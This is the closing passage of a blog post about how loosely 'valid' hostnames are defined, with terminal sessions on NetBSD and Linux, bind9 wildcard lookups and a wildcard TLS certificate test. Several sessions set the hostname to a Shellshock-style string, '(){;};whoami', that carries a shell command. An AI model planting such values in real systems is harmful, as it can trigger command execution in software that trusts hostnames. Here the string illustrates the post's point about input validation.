|
# NetBSD:
|
|
$ sudo hostname _invalid
|
|
$ hostname _invalid
|
|
$ sudo hostname " "
|
|
$ hostname
|
|
|
|
$ sudo hostname '(){;};whoami'
|
|
$ hostname
|
|
(){;};whoami
|
|
$
|
|
|
|
# Linux
|
|
$ sudo hostname _invalid
|
|
hostname: the specified hostname is invalid
|
|
$ sudo sysctl -w kernel.hostname=_invalid
|
|
kernel.hostname = _invalid
|
|
$ hostname
|
|
_invalid
|
|
$ echo '(){;};whoami' | sudo tee /proc/sys/kernel/hostname
|
|
(){;};whoami
|
|
$ hostname
|
|
(){;};whoami
|
|
$
|
|
</pre></div>
|
|
|
|
<p>Oh, and one last thing: <tt>*</tt> is a valid
|
|
character for a DNS label, and so indeed a valid
|
|
hostname (per RFC2181), but in <tt>bind9</tt> it
|
|
<em>also</em> functions as a wildcard, matching any
|
|
names that you do not have explicitly set in the zone.
|
|
And that matches <tt>*</tt> itself:</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
$ host $(tr -dc '[:print:]' </dev/urandom | head -c 12).dns.netmeister.org
|
|
[?3ft0ds&]u.dns.netmeister.org has address 198.51.100.1
|
|
[?3ft0ds&]u.dns.netmeister.org has IPv6 address 2001:db8::c2de:2d22:5ca1:2727
|
|
$ host *.dns.netmeister.org
|
|
*.dns.netmeister.org has address 198.51.100.1
|
|
*.dns.netmeister.org has IPv6 address 2001:db8::c2de:2d22:5ca1:2727
|
|
$ </pre></div>
|
|
|
|
<p>So with that, I can get myself a wildcard TLS
|
|
certificate for <tt>*.netmeister.org</tt> and serve that
|
|
from <a
|
|
href="https://*.netmeister.org:4443">http://*.netmeister.org:4443</a><sup><small><a href="#1">1</a></small></sup>
|
|
(although it will depend on your client whether or not
|
|
it correctly interprets this hostname):</p>
|
|
|
|
<div style="text-align: center;"><pre class="code">
|
|
$ curl -v -I https://*.netmeister.org:4443
|
|
* Trying 2001:470:30:84:e276:63ff:fe72:3900:4443...
|
|
* Connected to *.netmeister.org (2001:470:30:84:e276:63ff:fe72:3900) port 4443 (#0)
|
|
[...]
|
|
* SSL connection using TLSv1.2 / AES256-GCM-SHA384
|
|
* Server certificate:
|
|
* subject: CN=*.netmeister.org
|
|
* subjectAltName: host "*.netmeister.org" matched cert's "*.netmeister.org"
|
|
* SSL certificate verify ok.
|
|
> HEAD / HTTP/1.1
|
|
> Host: *.netmeister.org:4443
|
|
>
|
|
< HTTP/1.1 200 OK
|
|
</pre></div>
|
|
|
|
<p>Safari has no problem visiting that site, but
|
|
Firefox and Chrome both treat
|
|
<tt>https://*.netmeister.org</tt> as an invalid URL,
|
|
so default to searching the internet instead. Web
|
|
servers similarly may not correctly handle a <tt>Host:
|
|
*.netmeister.org</tt> header: Apache appears to not
|
|
extract the host from the header and will throw a
|
|
<tt>400 Bad Request</tt>, while, e.g., <a
|
|
href="http://www.eterna.com.au/bozohttpd/">bozohttpd</a>
|
|
has no problem serving the request:</p>
|
|
|
|
<p><center><img src="/blog/images/*.netmeister.org.png"
|
|
alt="Screenshot of Safair connecting to
|
|
https://*.netmeister.org:4443"
|
|
width="400"></center></p>
|
|
|
|
<p>So... what does <em>valid</em> mean in the context
|
|
of "hostnames"? It seems like we haven't made made
|
|
much progress since the beginning of this blog post.
|
|
I guess the best we can do is draw the distinction
|
|
between <em>RFC-valid</em> and "probably not a good
|
|
idea":</p>
|
|
|
|
<ul>
|
|
<li><tt>^[a-zA-Z0-9-]+$</tt> is <em>not</em> correct
|
|
to match "valid" hostnames</li>
|
|
<li>"<tt>_</tt>" <em>is</em> a valid character in a
|
|
hostname, but so are <tt>!@#$%^&*(){};</tt>.<br>
|
|
<br>
|
|
It still isn't a good idea to use those characters in
|
|
a DNS label for an <tt>A</tt> or <tt>AAAA</tt> record, and in
|
|
fact many libraries and applications will reject them.</li>
|
|
<li>As we've seen, you can stuff <em>anything</em> into the DNS and
|
|
be <em>technically correct</em>, but that doesn't help
|
|
you in reality.</li>
|
|
<li>However, you should <em>never</em> assume that whatever comes
|
|
back from a DNS lookup or what might show up in a
|
|
<tt>CNAME</tt> or anywhere else matches whatever <em>you</em>
|
|
think is "valid".</li>
|
|
<li>You can spend a surprising amount of time chasing
|
|
RFCs and finding out more than you ever thought you'd
|
|
need to know about something as trivial as
|
|
"hostnames".</li>
|
|
</ul>
|
|
|
|
<p><a href="https://27bslash6.com/tiiap.html">The
|
|
Internet is a Playground</a>, the DNS a
|
|
never-ending source of entertainment and astonishment,
|
|
and hostnames... largely undefined.</p>
|
|
|
|
<blockquote class="pretty" style="font-size: 1em;
|
|
width: max-content;">
|
|
<pre>
|
|
"<em>'Tis but thy name that is my enemy;
|
|
Thou art thyself, though not a Host.
|
|
What's Host? It is nor port, nor service,
|
|
Nor stack, nor app, nor any other part
|
|
Belonging to a system. O, be some other name!
|
|
What's in a name? That which we call a site
|
|
By any other name would fail as quick;
|
|
</em>" -- DevOps Juliet</pre>
|
|
</blockquote>
|
|
|
|
|
|
<p><small>October 18, 2021</small></p>
|
|
|
|
<hr width="80%">
|
|
<p><small>Footnotes:</small></p>
|
|
|
|
<p id="1"><small>[1] This used to work as of October
|
|
2021. Since then, Safari has also stopped working on
|
|
desktop, but still works on iOS. However, I've
|
|
changed my certificate from a wildcard certificate to
|
|
a fixed names cert, so this no longer works as of
|
|
01/2025. Sorry.</small></p>
|
|
|
|
<hr width="80%">
|
|
|
|
<p><small>Related Links:</small></p>
|
|
|
|
<ul>
|
|
<li><small><a href="https://news.ycombinator.com/item?id=28914431">Discussion on HackerNews</a></small></li>
|
|
<li><small><a href="https://lobste.rs/s/8xihmq">Discussion on Lobsters</a></small></li>
|
|
<li><small><a href="https://www.reddit.com/r/devopsish/comments/qbhf0m/whats_in_a_hostname/">Discussion on Reddit</a></small></li>
|
|
<li><small><a href="hostnames.txt">A file with all of the edge cases from this blog post</a></small></li>
|
|
<li><small><a href="https://github.com/jschauma/dns-rrs/">DNS zonefiles used in this blog post</a></small></li>
|
|
<li><small><a href="tlds.html">TLDs -- Putting the '.fun' in the top of the DNS</a></small></li>
|
|
<li><small><a href="urls.html">URLs: It's complicated...</a></small></li>
|
|
<li><small><a href="dns-rrs.html">(All) DNS Resource Records</a></small></li>
|
|
<li><small><a href="whois.html">WHOIS: Fragile, unparseable, obsolete... and universally relied upon</a></small></li>
|
|
<li><small><a href="email.html">Your E-Mail Validation Logic is Wrong</a></small></li>
|
|
</ul>
|
|
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
<hr class="noshade" style="width:100%;">
|
|
<small>
|
|
← [<a href="return-printf.html">There is no 'printf'.</a>]
|
|
<div style="float: right;">[<a href="inet_aton.html">IPv4 addresses are silly, <tt>inet_aton(3)</tt> doubly so.</a>] →</div>
|
|
</small>
|
|
<hr class="noshade" style="width:100%;">
|
|
<small>
|
|
[<a href="../index.html">homepage</a>]
|
|
[<a href="index.html">blog</a>]
|
|
[<a href="mailto:jschauma@netmeister.org">jschauma@netmeister.org</a>]
|
|
[<a href="https://mstdn.social/@jschauma">@jschauma</a>]
|
|
[<a href="rss.xml">RSS</a>]
|
|
</small>
|
|
<div class="container">
|
|
<label class="switch" for="theme-checker" title="Dark/Light mode">
|
|
<span class="slider round"></span>
|
|
</label>
|
|
</div>
|
|
<hr class="noshade" style="width:100%;">
|
|
</body>
|
|
</html>
|